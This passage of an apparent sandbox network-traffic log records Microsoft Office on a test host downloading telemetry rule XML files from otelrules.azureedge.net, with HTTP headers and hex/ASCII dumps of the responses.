2024-11-19 23:19:28 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:27 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:27 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:27 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 7ca1e40b-601e-003d-2f8c-3a6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231927Z-185f5d8b95cx9g8lhC1NYCtgvc00000001q000000000p5cf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:27 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:27 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:27 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:27 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c0af4880-401e-00ac-328c-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231927Z-185f5d8b95cjbkr4hC1NYCeu2400000009a00000000058h7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:27 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:28 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:28 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:28 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 62f37542-501e-0016-6f8c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231928Z-185f5d8b95c95vpshC1NYC759c00000009gg0000000000re x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:28 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:28 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:28 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:28 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5a5a14b6-c01e-0079-438c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231928Z-1777c6cb754gvvgfhC1TEBz4rg00000008y0000000000f7g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:28 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:28 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:28 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:28 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 538caadb-101e-0028-028c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231928Z-185f5d8b95cx9g8lhC1NYCtgvc00000001sg00000000avs9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:28 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:28 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:28 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:28 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231928Z-185f5d8b95c4vwv8hC1NYCy4v400000009ng000000000vc8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:28 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:28 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:28 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:28 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231928Z-185f5d8b95crl6swhC1NYC3ueg00000009f000000000qtt8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:28 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:29 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:29 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:29 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 7bd1ae59-401e-008c-598c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231929Z-185f5d8b95c95vpshC1NYC759c00000009eg000000006v5p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:29 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:29 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:29 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:29 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 21476416-401e-00a3-1c88-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231929Z-185f5d8b95cf7qddhC1NYC66an00000009h0000000004ksx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:29 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:29 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:29 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:29 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 8222e379-801e-008f-078c-3a2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231929Z-1777c6cb754dqf99hC1TEB5nps00000008qg00000000221y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:29 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:29 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:29 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:29 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231929Z-1777c6cb754rz2pghC1TEBghen00000008n000000000fadz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:29 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:29 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
